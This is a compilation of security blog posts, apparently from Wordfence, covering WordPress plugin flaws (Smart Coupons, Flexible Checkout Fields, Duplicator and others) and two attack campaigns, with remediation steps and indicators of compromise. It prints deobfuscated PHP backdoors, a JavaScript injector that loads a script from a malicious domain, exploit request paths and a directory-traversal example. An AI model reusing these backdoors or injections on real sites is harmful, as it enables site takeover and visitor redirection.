Coupon Creation Vulnerability Patched In WooCommerce Smart Coupons

Description: Unauthenticated Coupon Creation
Affected Plugin: WooCommerce Smart Coupons
Affected Versions: <= 4.6.0
CVSS Score: 5.3 (Medium)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Patched Version: 4.6.5

Late last month a patch was released for WooCommerce Smart Coupons, a commercial WooCommerce plugin that helps store managers handle coupons and gift certificates. In vulnerable versions of the plugin, unauthenticated attackers could send themselves gift certificates of any value, which could be redeemed for products sold on the victim’s storefront.

This vulnerability was originally identified by Aaron Averbuch and his team at Bloomscape, who privately contacted us after disclosing the issue to the plugin’s developers. A patch was released the following day in WooCommerce Smart Coupons version 4.6.5. To protect our users, we released a firewall rule to block attempts to exploit this flaw. Wordfence Premium users already have access to this rule, and sites still on the free version will receive the rule March 25, 2020, thirty days after it was released.

We urge all WooCommerce Smart Coupons users to update to the latest available version as soon as possible to mitigate the risk of fraudulent gift certificates. Typical WordPress users update commercial plugins less reliably than those in the WordPress repository, and that trend continues with this plugin. At the time of this writing, nearly nine out of ten sites using WooCommerce Smart Coupons are still running a vulnerable version of the plugin.

In today’s post, we examine the vulnerability and discuss how to identify if your site has been affected.

Vulnerability In Detail

One of the features of WooCommerce Smart Coupons allows store managers to create gift certificates which can be emailed to customers. The interface for this feature is only available to user roles with the manage_woocommerce capability, which is available by default on the administrator and shop_manager roles.

Screenshot of the Send Store Credit interface

Screenshot of the Send Store Credit interface.

This functionality was made vulnerable by the way WooCommerce Smart Coupons handled inputs from that form. While the dashboard page for this feature was restricted to privileged users, the plugin was listening for submissions on every page in wp-admin.

add_action( 'admin_init', array( $this, 'woocommerce_coupon_admin_init' ) );
public function woocommerce_coupon_admin_init() {

	$get_import = ( isset( $_GET['import'] ) ) ? wc_clean( wp_unslash( $_GET['import'] ) ) : ''; // phpcs:ignore
	$get_page   = ( isset( $_GET['page'] ) ) ? wc_clean( wp_unslash( $_GET['page'] ) ) : ''; // phpcs:ignore
	$get_action = ( isset( $_GET['action'] ) ) ? wc_clean( wp_unslash( $_GET['action'] ) ) : ''; // phpcs:ignore

	$post_smart_coupon_email   = ( isset( $_POST['smart_coupon_email'] ) ) ? wc_clean( wp_unslash( $_POST['smart_coupon_email'] ) ) : ''; // phpcs:ignore
	$post_smart_coupon_amount  = ( isset( $_POST['smart_coupon_amount'] ) ) ? wc_clean( wp_unslash( $_POST['smart_coupon_amount'] ) ) : 0; // phpcs:ignore
	$post_smart_coupon_message = ( isset( $_POST['smart_coupon_message'] ) ) ? wp_kses_post( wp_unslash( $_POST['smart_coupon_message'] ) ) : ''; // phpcs:ignore

	if ( 'wc-sc-coupons' === $get_import || 'wc-smart-coupons' === $get_page ) {
		ob_start();
	}

	if ( defined( 'WP_LOAD_IMPORTERS' ) ) {
		register_importer( 'wc-sc-coupons', __( 'WooCommerce Coupons (CSV)', 'woocommerce-smart-coupons' ), __( 'Import <strong>coupons</strong> to your store via a csv file.', 'woocommerce-smart-coupons' ), array( $this, 'coupon_importer' ) );
	}

	if ( 'sent_gift_certificate' === $get_action && 'wc-smart-coupons' === $get_page ) {
		$email   = $post_smart_coupon_email;
		$amount  = $post_smart_coupon_amount;
		$message = $post_smart_coupon_message;
		$this->send_gift_certificate( $email, $amount, $message );
	}
}

The snippets above, taken from class-wc-sc-admin-pages.php, show how this input is handled. The plugin registers the woocommerce_coupon_admin_init() function to WordPress’s admin_init hook. This function performs checks to determine whether to start output buffering or register a CSV importer, but then checks if it should send a gift certificate.

It makes this decision based on two $_GET parameters: action=sent_gift_certificate and page=wc-smart-coupons. These parameters are common in the WordPress dashboard, but accessing them directly is insecure in this case. There’s no validation that a user has access to the wc-smart-coupons page.

As we’ve reported in several cases recently, such as the vulnerabilities in Email Subscribers & Newsletters and last week’s zero-day campaign, the admin_init hook is accessible to any of a site’s visitors. Unauthenticated users can send requests to /wp-admin/admin-post.php, which will satisfy requirements for is_admin() as well as firing every function hooked to admin_init.  This, of course, includes woocommerce_coupon_admin_init().

By crafting a request with all of the necessary parameters, attackers could generate and send themselves valid gift certificates for a victim’s WooCommerce store. This vulnerability has been patched as of WooCommerce Smart Coupons 4.6.5.

Remediation Can Be Tricky

Internally, these gift certificates are considered coupons, just like a typical percentage-off coupon you’d distribute for a promotion. They behave differently, with a value that can be spent instead of a reusable discount, but are treated the same within the WooCommerce interface.

Screenshot of a list of generated coupons.

Screenshot of a list of generated coupons.

Unfortunately, this means it’s not possible for the WooCommerce Smart Coupons to invalidate any fraudulent store credit that was created through this vulnerability. If a vulnerable site was exploited and store credit generated, it would still be valid and redeemable after the site owner updated the plugin. Each coupon would need to be deleted by an administrator or shop manager to prevent their use.

For stores that don’t make use of these gift certificates, remediation is as simple as deleting every coupon with the type Store Credit / Gift Certificate. However, for sites that send store credit frequently, it might not be immediately clear which coupons are legitimate and which were created fraudulently.

If you believe store credit was created by a malicious user, there are two ways you can help identify which coupons are fraudulent.

Comparing Coupon Creation Times With Access Logs

This method requires access to your site’s access logs. If you do not know how to access these, contact your hosting provider for assistance.

While this vulnerability allows coupons to be generated on unauthenticated /wp-admin endpoints, legitimate usage only sends requests to one location: /wp-admin/admin.php. This endpoint is inaccessible to unauthenticated users, so any coupons generated by a request to that file are legitimate.

On the other hand, coupons generated by requests to other locations, like /wp-admin/admin-post.php or /wp-admin/admin-ajax.php, are probably fraudulent.

For example, the following string in an access log would suggest an attempt to exploit this vulnerability:

"POST /wp-admin/admin-post.php?page=wc-smart-coupons&action=sent_gift_certificate HTTP/1.1"

The next one is a legitimate entry:

"POST /wp-admin/admin.php?page=wc-smart-coupons&action=sent_gift_certificate HTTP/1.1"

By comparing the timestamps of these log entries to the publish times of suspicious coupons, you can determine which to keep and which to delete.

Checking WordPress Post Metadata For Suspicious Emails

This method requires access to your site’s database. If you do not know how to access this, contact your hosting provider for assistance.

While the WooCommerce Smart Coupons interface doesn’t immediately reveal where each coupon was sent, this data is still stored in the WordPress database.

Search your site’s wp_postmeta table for suspicious customer_email entries with a query like the following. (Note: Your site’s database prefix may be different, but we’ll use the default wp_ in our examples.)

mysql> select * from wp_postmeta where meta_key = 'customer_email';
+---------+---------+----------------+--------------------------------------------+
| meta_id | post_id | meta_key       | meta_value                                 |
+---------+---------+----------------+--------------------------------------------+
|     168 |      54 | customer_email | a:1:{i:0;s:24:"shopshopshop@example.com";} |
|     188 |      55 | customer_email | a:1:{i:0;s:23:"hacker@evil.example.com";}  |
|     266 |      57 | customer_email | a:1:{i:0;s:22:"shopperman@example.com";}   |
|     285 |      59 | customer_email | a:1:{i:0;s:21:"luvs2shop@example.com";}    |
+---------+---------+----------------+--------------------------------------------+
4 rows in set (0.00 sec)

In the example set above, we see four coupons with different customer_email values. One particular email stands out: hacker@evil.example.com. The post_id for this coupon is 55, so let’s see which coupon code that corresponds to:

mysql> select post_title from wp_posts where ID = 55;
+---------------+
| post_title    |
+---------------+
| qvi93te4veedu |
+---------------+
1 row in set (0.00 sec)

Now we see the offending coupon code: qvi93te4veedu. With this we can delete the coupon, or investigate further to identify any orders that store credit may have been used on.

Not all malicious users have easily identifiable email addresses, but you can also compare these emails to other resources such as your mailing list and previous orders to identify suspicious outliers.

Timeline

  • February 20, 2020 – Vulnerability disclosed by Aaron Averbuch and his team at Bloomscape.
  • February 21, 2020 – WooCommerce Smart Coupons version 4.6.5 released to patch vulnerability.
  • February 24, 2020 – Firewall rule released to prevent exploitation against sites with Wordfence Premium.
  • March 25, 2020 – Firewall rule available to Wordfence free users.

Conclusion

Vulnerabilities such as this one, where features are intended for privileged users but are inadvertently left open to attack, are unfortunately common. If you are developing WordPress plugins and themes, be sure to validate user capabilities directly for any privileged activity. Hooking code into admin_init, or attempting to secure functionality with is_admin() checks, is dangerous and ineffective without performing these capabilities checks. For more information on how to check user capabilities, visit the WordPress.org codex entry for current_user_can().

At this time, we have not detected any malicious activity targeting WooCommerce Smart Coupons. With that said, it’s very important to update to the latest version of the plugin as soon as possible.

Wordfence Premium users are already protected from possible attacks. Sites on the free version will receive the rule on the date specified in the timeline above.

We will monitor our network for any changes in activity around this vulnerability, and will provide details as they emerge.

Thanks again to Aaron Averbuch and his team at Bloomscape for their discovery and disclosure of this issue. Additional thanks to QA Lead Matt Rusnak for his assistance in vulnerability analysis.

 

The post Coupon Creation Vulnerability Patched In WooCommerce Smart Coupons appeared first on Wordfence.

Read More

Site Takeover Campaign Exploits Multiple Zero-Day Vulnerabilities

Early yesterday, the Flexible Checkout Fields for WooCommerce plugin received a critical update to patch a zero-day vulnerability which allowed attackers to modify the plugin’s settings. As our Threat Intelligence team researched the scope of this attack campaign, we discovered three additional zero-day vulnerabilities in popular WordPress plugins that are being exploited as a part of this campaign. The targeted plugins were Async JavaScriptModern Events Calendar Lite, and 10Web Map Builder for Google Maps. At this time, we have reached out to each plugin’s development team in hopes of getting these issues resolved quickly.

This attack campaign exploits XSS vulnerabilities in the above plugins to inject malicious Javascript that can create rogue WordPress administrators and install malicious plugins that include backdoors. It is important that site administrators using these plugins urgently take steps to mitigate these attacks.

We have released firewall rules to protect Wordfence users from these attacks. These rules are already available to Wordfence Premium users and will be available to sites still on the free version in thirty days. Fortunately, because these vulnerabilities are being exploited to inject XSS payloads, those attacks have been blocked by the built-in XSS protection available to all Wordfence users, free or Premium. However, the nature of each vulnerability allows other disruptive activity that would not be blocked by these protections, necessitating the additional firewall rules.

Today’s post gives an overview of these vulnerabilities to inform the community of their current risk. More details of this campaign will be considered in a forthcoming blog post.

Unauthenticated Stored XSS in Flexible Checkout Fields For WooCommerce

Description: Unauthenticated Stored XSS via Plugin Settings Change
Affected Plugin: Flexible Checkout Fields for WooCommerce
Affected Versions: <= 2.3.1
CVSS Score: 9.3 (Critical)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Patched Version: 2.3.2

In a report released yesterday by NinTechNet, researchers alerted the community to the presence of this vulnerability and the attacks against it. Unauthenticated attackers are capable of modifying the plugin’s options, which can be leveraged to inject XSS payloads that can be triggered in the dashboard of a logged-in administrator.

Flexible Checkout Fields versions up to 2.3.1 are vulnerable to these attacks. The plugin’s developers, WP Desk, issued a patch with version 2.3.2 quickly after they were made aware of the issue. Since then, they’ve issued two more updates to implement some additional security measures. The WordPress.org repository reports an install base of more than 20,000 sites with the plugin. We urge all of the plugin’s users to update to the latest available version as quickly as possible to reduce their risk of exploitation.

This vulnerability was due to a lack of capabilities checks on the plugin’s settings update function. In classes/settings.php, the function updateSettingsAction() is hooked into the WordPress admin_init hook. This hook fires when any /wp-admin/ endpoint is accessed, including those that don’t require authentication.

public function updateSettingsAction(){

    if ( !empty( $_POST ) ) {
        if ( !empty($_POST['option_page']) && in_array( $_POST['option_page'], array('inspire_checkout_fields_settings', 'inspire_checkout_fields_checkboxes') ) ) {


        	if ( !empty( $_POST[$this->plugin->get_namespace()] ) ) {

                foreach ( $_POST[$this->plugin->get_namespace()] as $name => $value ) {
                	$settings = get_option( 'inspire_checkout_fields_' . $name, array() );
                	if ( is_array( $value )) {
                		foreach ( $value as $key => $val ) {
                			$settings[$key] = $val;

The snippet above shows the first several lines of the function, which makes some checks for certain $_POST values but no security checks. By crafting an array of expected settings, attackers can inject JavaScript payloads into the elements that render onscreen.

This vulnerability was patched by the plugin developers by implementing a capabilities check to ensure only administrators can modify these settings.

Subscriber+ Stored XSS in Async JavaScript

Description: Subscriber+ Stored XSS via Plugin Settings Change
Affected Plugin: Async JavaScript
Affected Versions: <= 2.19.07.14
CVSS Score: 7.6 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:N
Patched Version: 2.20.02.27

A similar vulnerability exists in the popular Async JavaScript Plugin, which is currently active on more than 100,000 WordPress sites. We notified the plugin’s developer, Frank Goossens, who quickly released a patch for this issue. Because the update was made available so recently, we are providing limited details about the vulnerability at this time.

Async JavaScript’s settings are modified via calls to wp-admin/admin-ajax.php with the action aj_steps. This AJAX action is registered only for authenticated users, but no capabilities checks are made. Because of this, low-privilege users including Subscribers can modify the plugin’s settings.

Similar to Flexible Checkout Fields above, certain setting values can be injected with a crafted payload to execute malicious JavaScript when a WordPress administrator views certain areas of their dashboard.

Unauthenticated Stored XSS in 10Web Map Builder for Google Maps

Description: Unauthenticated Stored XSS via Plugin Settings Change
Affected Plugin: 10Web Map Builder for Google Maps
Affected Versions: <= 1.0.63
CVSS Score: 9.3 (Critical)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Patched Version: None Yet Available

A third XSS via settings change vulnerability is present in 10Web Map Builder for Google Maps. This plugin is active on over 20,000 sites. Unlike Async JavaScript, this vulnerability can be exploited by unauthenticated attackers.

We have reached out to establish contact with the plugin’s developers and are awaiting their response at this time. As with the previous vulnerability, because it’s under attack in the wild we are providing limited detail.

The vulnerability in 10Web Map Builder exists in the plugin’s setup process. The plugin’s setup functions are called during admin_init which, like Flexible Checkout Fields, is accessible to unauthenticated users. If an attacker injects malicious JavaScript into certain settings values, that code will execute for administrators in their dashboard as well as front-of-site visitors in some circumstances.

Multiple Subscriber+ Stored XSS Vulnerabilities In Modern Events Calendar Lite

Description: Multiple Subscriber+ Stored XSS Vulnerabilities
Affected Plugin: Modern Events Calendar Lite
Affected Versions: <= 5.1.6
CVSS Score: 7.6 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:N
Patched Version: None Yet Available

The last vulnerability in this report affects Modern Events Calendar Lite, with over 40,000 installs.

We have reached out to establish contact with the developer and are awaiting response. Again, as this issue is known to malicious actors, we are making the community aware of it.

Modern Events Calendar Lite registers a number of AJAX actions for logged-in users. Some of these actions allow low-privileged users like subscribers to manipulate settings and other stored data. When exploited in this way, the affected data can be injected with various XSS payloads.

Depending on where the attackers inserted code, these scripts can be executed in the WordPress dashboard to affect administrators, or on the front of the victim’s site to affect their visitors. Current attacks in this campaign are targeting administrators in order to create rogue accounts for the attackers.

Conclusion

Today we disclosed three new zero-day vulnerabilities affecting the WordPress ecosystem. We are working to assist these developers to quickly resolve these vulnerabilities, but some remain unpatched at this time. We take the security disclosure process very seriously, and we would not publish these details if it wasn’t necessary to alert the WordPress community about their risk in the midst of this campaign.

The XSS attacks used in this campaign are reliably blocked by the Wordfence firewall’s built-in protections, which are available to Wordfence Premium users as well as sites still on the free version. New WAF rules to prevent other disruptive activity are also available to Premium users at this time.

Because these attacks are ongoing, research into this campaign is still underway. We will publish a follow-up post with complete details on these attacks as soon as this research is complete. Make sure you are informed as soon as possible by subscribing to our mailing list.

This work would not be possible without the combined efforts of the Wordfence team. Special thanks to Director of Threat Intelligence Sean Murphy, QA Lead Matt Rusnak, and QA Engineer Ramuel Gall for their contributions to the discovery and research of these attacks, analysis and disclosure of the vulnerabilities, and assistance in editing this post. 

 

The post Site Takeover Campaign Exploits Multiple Zero-Day Vulnerabilities appeared first on Wordfence.

Read More

Multiple Attack Campaigns Targeting Recent Plugin Vulnerabilities

As part of our ongoing research efforts, the Wordfence Threat Intelligence team continually monitors our network for noteworthy threats facing WordPress. Recently, we’ve been tracking malicious activity targeting several vulnerabilities recently patched in popular plugins.

In today’s post, we’ll provide details of our research into two active campaigns. We’ll also share some common indicators of compromise (IOCs) that can help you assess whether your site was impacted by these attacks. Wordfence malware scans will identify these IOCs and their variants on systems with the plugin installed, but we include them to help administrators and researchers better approach this data at scale.

Threat Actor #1: “tonyredball”

Notable Targeted Vulnerabilities:

The first campaign we’ll discuss has been associated with the handle “tonyredball”. This threat actor has primarily focused on exploiting vulnerabilities which allow backdoor access to victim sites.

We identified the “tonyredball” handle after the attacker attempted to exploit the administrator registration vulnerability in the Profile Builder plugin. Requests exploiting this vulnerability contain the username, email, and other profile details of the new administrator account.

Snippet from a blocked attempt to exploit Profile Builder by "tonyredball"Compared to this threat actor’s activity against Profile Builder, they’ve issued a much greater volume of attacks against the database deletion vulnerability in ThemeGrill Demo Importer. This difference in volume may be due to the amount of work required to exploit each vulnerability. The Profile Builder vulnerability requires attackers to locate a vulnerable registration form, but ThemeGrill’s vulnerability could be exploited with a simple request to a known endpoint.

The end result of exploiting either of these vulnerabilities is administrative access to the victim’s site. With this access, the attacker uploads malicious scripts through the plugin and theme uploaders in the WordPress dashboard.

Snippet of an attempt by "tonyredball" to upload a backdoor.

Snippet of an attempt by “tonyredball” to upload a backdoor.

Variants of the script uploaded in the example above have been previously associated with several filenames. The most common are blockspluginn.phpwp-block-plugin.php, and supersociall.php, though the primary names associated directly with this threat actor are wp-block-plugin.php and wp-hello-plugin.php.

if (isset($_POST['asavsdvds']) && md5($_POST["lgkfghdfh"]) == "e9787adc5271cb0f765294503da3f2dc") {
    $z2 = '<?php ' . base64_decode($_REQUEST['d1']);
    $a = '/tmp/mn';
    @file_put_contents($a, $z2);
    @include ($a);
    @unlink($a);
    die();
}

In the code sample above, we see part of the deobfuscated contents of wp-block-plugin.php. This small script allows an attacker to execute arbitrary PHP code on a victim’s site, establishing a persistent backdoor in case their administrator account is removed. The intended code is base64-encoded and submitted as $_REQUEST['d1'], where it’s decoded and stored as a file named /tmp/mn. This file is then executed via @include, and then immediately deleted from the server. It’s also password-protected to prevent other actors from using this backdoor.

We’ve intercepted a number of requests to these backdoors across our network. The payloads sent are varied in scope, but largely focus on iterating through a site’s file system to infect more files. Some events show “tonyredball” searching for additional WordPress installations to infect, while others try to inject malicious code into the victim’s legitimate JavaScript files.

if (strpos($g, 'hgkgfhjereve4') !== false) {
echo "#already exist#:".$f."\n";
} else {
$l2 = "var hgkgfhjereve4 = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,108,111,119,46,100,101,115,116,105,110,121,102,101,114,110,97,110,100,105,46,99,111,109,47,115,97,109,101,46,106,115,63,118,61,51); s.src=pl; 
if (document.currentScript) { 
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}";
$g = file_get_contents($f);
$g = $l2.$g;
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'hgkgfhjereve4') !== false) {
echo "#already exist#:".$f."\n";

This code snippet shows part of a backdoor payload intended to inject malicious JavaScript. In context, this code is executed after searching for filenames with .js and will insert new code above the existing content of the legitimate file. When run in a browser, this code sources a third-party script from https://slow.destinyfernandi.com/same.js?v=3.

This third-party script, when loaded, redirects the visitor’s browser to a potentially malicious location. Unlike more sophisticated malvertising scripts, there isn’t any conditional logic to prevent redirection for repeat visitors or logged-in users, meaning it’s much more likely to be caught and reported early. However, regardless of the current contents, scripts hosted on an attacker’s server can be modified at any time and it’s a major risk.

In addition to backdoor scripts, “tonyredball” also uses the WordPress plugin and theme editor to inject third-party JavaScript into a site’s content. A line like <script type=text/javascript src='https://middle.destinyfernandi.com/t.js'></script> is added, usually to a theme’s header.php script, where it loads the script at https://middle.destinyfernandi.com/t.js into visitors’ browsers. We’ve identified additional domains used in these attacks, which are listed in the IOC section below.

 

Screenshot of a redirect destination attempting to trick visitors into allowing permissions.

Screenshot of a redirect destination attempting to trick visitors into allowing permissions.

Currently, these redirect scripts take victims to a landing page at the domain talktofranky.com. On arrival, visitors are told to click “Allow” in a popup to prove they’re human. This is a trick, as the site is actually requesting permission to push notifications to the victim’s device. Searches for discussion about this domain reveal a number of guides on how to stop the notification spam, meaning this campaign is likely claiming a number of victims.

The latest attacks by “tonyredball” are sourced from one primary IP address: 45.129.96.17. This address is associated with Estonian hosting provider GMHost. GMHost is a known bulletproof host, and has been referenced recently on hacking forums as such. “Bulletproof” refers to hosting providers known to have lax or unenforced abuse policies, commonly located in countries without close relationships with international law enforcement. These hosts give hackers a place to conduct illegal activity with little fear of being shut down or otherwise punished.

Indicators of Compromise (IOCs)

  • Username
    • tonyredball
  • Email address
    • tonyredball@mail.com
  • IP Addresses
    • 45.129.96.17
    • 188.127.251.74
  • Malware Hashes (SHA-1)
    • 34d4b9a33f7a1ab39a264cdffde644264adcf4d1
    • 7648b981f7c8f497ab81f0323379734fd0898f84
  • Searchable strings in obfuscated backdoors
    • jweyc
    • aeskoly
    • owhggiku
    • callbrhy
  • Script injected into plugin and theme files
    • <script type=text/javascript src='https://room.verybeatifulantony.com/t.js'></script>
    • <script type=text/javascript src='https://middle.destinyfernandi.com/t.js'></script>
  • Malicious Domains
    • verybeatifulantony.com
    • room.verybeatifulantony.com
    • tom.verybeatifulantony.com
    • destinyfernandi.com
    • slow.destinyfernandi.com
    • middle.destinyfernandi.com
    • fast.destinyfernandi.com
    • talktofranky.com
  • Malicious filename
    • wp-block-plugin.php
    • wp-hello-plugin.php

Threat Actor #2 – “solarsalvador1234”

Notable Targeted Vulnerabilities:

Similar to “tonyredball”, we identified the handle associated with today’s second threat actor through their exploitation of the Profile Builder administrator registration vulnerability. These requests revealed a more sophisticated attack campaign than our previous example, as the threat actor was generating unique identifiers for each attempt.

In the requests we’ve blocked from this attacker, we see randomly-generated alphanumeric strings used as usernames, first and last names, and email addresses. Identifiers generated in this manner begin with a prefix (com_ in early attacks, then just com subsequently) followed by eight random characters. These are indexed together: one attack might use comxAwqw5de as the username and comxAwqw5de@mail.com as the email, and the next attack would use a different generated string for those values.

However, for a period of about two and a half hours on February 17th, the requests weren’t using a random email address. More than a hundred blocked requests in this window used the same email address: solarsalvador1234@gmail.com. These attacks came from the same IP as the rest in this campaign, and still used the random naming scheme for the created usernames.

Screenshot of Google search results showing "solarsalvador1234" as an Author on multiple hacked sites.

Screenshot of Google search results showing “solarsalvador1234” as an Author on multiple hacked sites.

The email address solarsalvador1234@gmail.com has been previously associated with attacks against the Convert Plus plugin, where a similar vulnerability allowed attackers to register a privileged user. Google searches for this address reveal a number of compromised WordPress sites showing an associated user profile.

In addition to the Profile Builder and ThemeGrill Demo Importer vulnerabilities, the IP address associated with “solarsalvador1234” is also exploiting Duplicator’s recent file download flaw. By downloading wp-config.php files from vulnerable sites, they can use the stored credentials to access remote MySQL databases and compromise the site from there. In all three vulnerabilities, the end goal is the same: Administrative access to the victim’s WordPress site.

In the attacks we’re currently tracking, we’ve identified “solarsalvador1234” attempting to upload backdoors through the same method as “tonyredball”: the WordPress theme uploader. However, instead of uploading a single file as in our previous example, they upload a malicious archive named AdvanceImage5.zip. This ZIP archive technically contains a valid WordPress theme, having copied the index.php and style.css scripts from the Twenty Fifteen theme, required for WordPress to correctly store the extracted files. Other than those required files, the archive is purely malicious and contains backdoors intended to help the attacker maintain access long-term. The malicious theme AdvanceImage5 has previously been associated with other attack campaigns, including those targeting last year’s vulnerability in the WP Cost Estimation plugin.

 

<?php
@ini_set("error_log", NULL);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@set_time_limit(0);
$data = NULL;
$data_key = NULL;
$GLOBALS["auth"] = "4ef63abe-1abd-45a6-913d-6fb99657e24b";
global $auth;

function sh_decrypt_phase($data, $key) {
    $out_data = "";
    for ($i = 0; $i < strlen($data) {
        $jplufmtpaem = "i";
        for ($j = 0;$j < strlen($key) && $i < strlen($data); $j++, $i++) { $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); } } return $out_data; } function sh_decrypt($data, $key) { global $auth; return sh_decrypt_phase(sh_decrypt_phase($data, $auth), $key); } foreach($_COOKIE as $key => $value) {
    $data = $value;
    $data_key = $key;
}

if(!$data) {
    foreach($_POST as $key => $value) {
        $data = $value;
        $data_key = $key;
    }
}
$data = @unserialize(sh_decrypt(@base64_decode( $data ) ,  $data_key ));

if (isset($data["ak"]) && $auth == $data["ak"]) {
    if ($data["a"] == "i") {
        $i = Array("pv" => @phpversion() , "sv" => "1.0-1" , );
        echo @serialize($i);
    }
    elseif ($data["a"] == "e") {
        eval($data["d"]);
    }
}

?>

The code snippet above shows the deobfuscated contents of the campaign’s primary backdoor, located in AdvanceImage5/header.php . This script features protections much like our earlier example, intended to prevent other attackers from abusing the script. Taking things a step further, an XOR cipher is used to encrypt requests sent to the backdoor, presumably in an attempt to bypass detection by firewalls and security teams. Ultimately though, the behavior is the same for “solarsalvador1234” as it is for the backdoor used by “tonyredball”, an attacker can execute PHP scripts at will on the infected site.

The activity associated with “solarsalvador1234” is linked to the IP address 77.71.115.52. We mentioned this address in our earlier post about attacks against a recent Duplicator vulnerability, noting that a number of otherwise-legitimate websites are hosted on the server. It’s not uncommon for attacks to come from compromised webservers, as they offer attackers a layer of abstraction to hide their physical location from victims.

Indicators of Compromise (IOCs)

  • Usernames
    • Randomly generated, starting with com or com_
  • Email addresses
    • solarsalvador1234@gmail.com
    • Other randomly generated addresses, starting with com or com_ and ending with @mail.com
  • IP Address
    • 77.71.115.52
  • Malware Hashes (SHA-1)
    • 47cb1646eba89f42319aa757423464476eb2fa7d
    • 3015d8f30b23eb6ebec608e992ff25ceccc6408d
    • f8ae2f3fcc05f04aece9ca0e0e21c64f25c4f0d6
    • 93632169238cbb52daee5271c90c533f7614e7b1
  • Malicious Filepaths
    • wp-content/themes/AdvanceImage5/config.php
    • wp-content/themes/AdvanceImage5/functions.php
    • wp-content/themes/AdvanceImage5/header.php

Conclusion

The campaigns we’ve detailed in this post are just two examples of attacks targeting recently patched vulnerabilities. As the owner of a site, it’s your responsibility to remain aware of the changes made to the plugins and themes you use. When a security update is released, make it an immediate priority to install it. The threat actors facing the WordPress ecosystem quickly identify and exploit vulnerabilities, which compounds the importance of timely action to protect your infrastructure.

All of the malicious code discussed in this post is detected by the Wordfence malware scanner. This is true for Premium users as well as the sites still using the free version. If you’re unable to use Wordfence and are concerned about these campaigns, please make use of the indicators of compromise (IOCs) we’ve shared to assist in your analysis.

The Wordfence Threat Intelligence team is always on the lookout for new activity to report to the community. Whether new developments arise in the campaigns we’ve discussed today, or something entirely new descends on the WordPress ecosystem, we’ll report our findings as they emerge.

Special thanks to Director of Threat Intelligence Sean Murphy and QA Engineer Ram Gall for their assistance researching these attack campaigns and editing this post.

The post Multiple Attack Campaigns Targeting Recent Plugin Vulnerabilities appeared first on Wordfence.

Read More

Active Attack on Recently Patched Duplicator Plugin Vulnerability Affects Over 1 Million Sites

Description: Unauthenticated Arbitrary File Download
Affected Plugin: Duplicator
Affected Versions: <= 1.3.26
CVSS Score: 7.5 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Patched Version: 1.3.28

A critical security update was recently issued for Duplicator, one of the most popular plugins in the WordPress ecosystem. Over a million WordPress sites were affected by a vulnerability allowing attackers to download arbitrary files from victim sites. We urge all Duplicator users to update to version 1.3.28 as soon as possible.

We are detecting active exploitation of this vulnerability in the wild, and estimate more than half a million sites are still running a vulnerable version. Built-in firewall protection prevents these attacks for all Wordfence users, both Premium and those still on the free version of Wordfence. As always, it’s still important to perform security updates regardless of other protections.

In today’s post, we’ll take a brief look at the vulnerable code, discuss its severity, and share details of the ongoing attacks against it.

File Download Vulnerability Analysis

The Duplicator plugin helps site administrators migrate and copy WordPress sites. Part of this functionality involves exporting database and file content into portable archives. When an administrator creates a new copy of their site, Duplicator lets them download the generated files from their WordPress dashboard.

Screenshot of a Duplicator download prompt.

Screenshot of a Duplicator download prompt.

This was implemented as an AJAX request within Duplicator’s admin interface. The download buttons each trigger a call to the WordPress AJAX handler with the action duplicator_download and a file parameter, indicating the location of the file to be downloaded. When clicked, the requested file is downloaded and the user doesn’t need to leave or reload their current page.

public static function duplicator_download() {
        $file = sanitize_text_field($_GET['file']);
        $filepath = DUPLICATOR_SSDIR_PATH.'/'.$file;
        // Process download
        if(file_exists($filepath)) {
            // Clean output buffer
            if (ob_get_level() !== 0 && @ob_end_clean() === FALSE) {
                @ob_clean();
            }

            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($filepath));
            flush(); // Flush system output buffer

            try {
                $fp = @fopen($filepath, 'r');
                if (false === $fp) {
                    throw new Exception('Fail to open the file '.$filepath);
                }
                while (!feof($fp) && ($data = fread($fp, DUPLICATOR_BUFFER_READ_WRITE_SIZE)) !== FALSE) {
                    echo $data;
                }
                @fclose($fp);
            } catch (Exception $e) {
                readfile($filepath);
            }
            exit;
        } else {
            wp_die('Invalid installer file name!!');
        }
    }

Unfortunately the duplicator_download action was registered via wp_ajax_nopriv_ and was accessible to unauthenticated users. To make things worse, no validation limited the filepaths being downloaded. The file parameter is passed through sanitize_text_field and appended to the plugin constant DUPLICATOR_SSDIR_PATH, but directory traversal was still possible. An attacker could access files outside of Duplicator’s intended directory by submitting values like ../../../file.php to navigate throughout the server’s file structure.

In addition to the AJAX action, the same vulnerability existed in Duplicator’s duplicator_init() function, which is called by WordPress’s init hook.

function duplicator_init() {
    if (isset($_GET['action']) && $_GET['action'] == 'duplicator_download') {
        $file = sanitize_text_field($_GET['file']);
        $filepath = DUPLICATOR_SSDIR_PATH.'/'.$file;
        // Process download
        if(file_exists($filepath)) {
            // Clean output buffer
            if (ob_get_level() !== 0 && @ob_end_clean() === FALSE) {
                @ob_clean();
            }

            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($filepath));
            flush(); // Flush system output buffer

            try {
                $fp = @fopen($filepath, 'r');
                if (false === $fp) {
                    throw new Exception('Fail to open the file '.$filepath);
                }
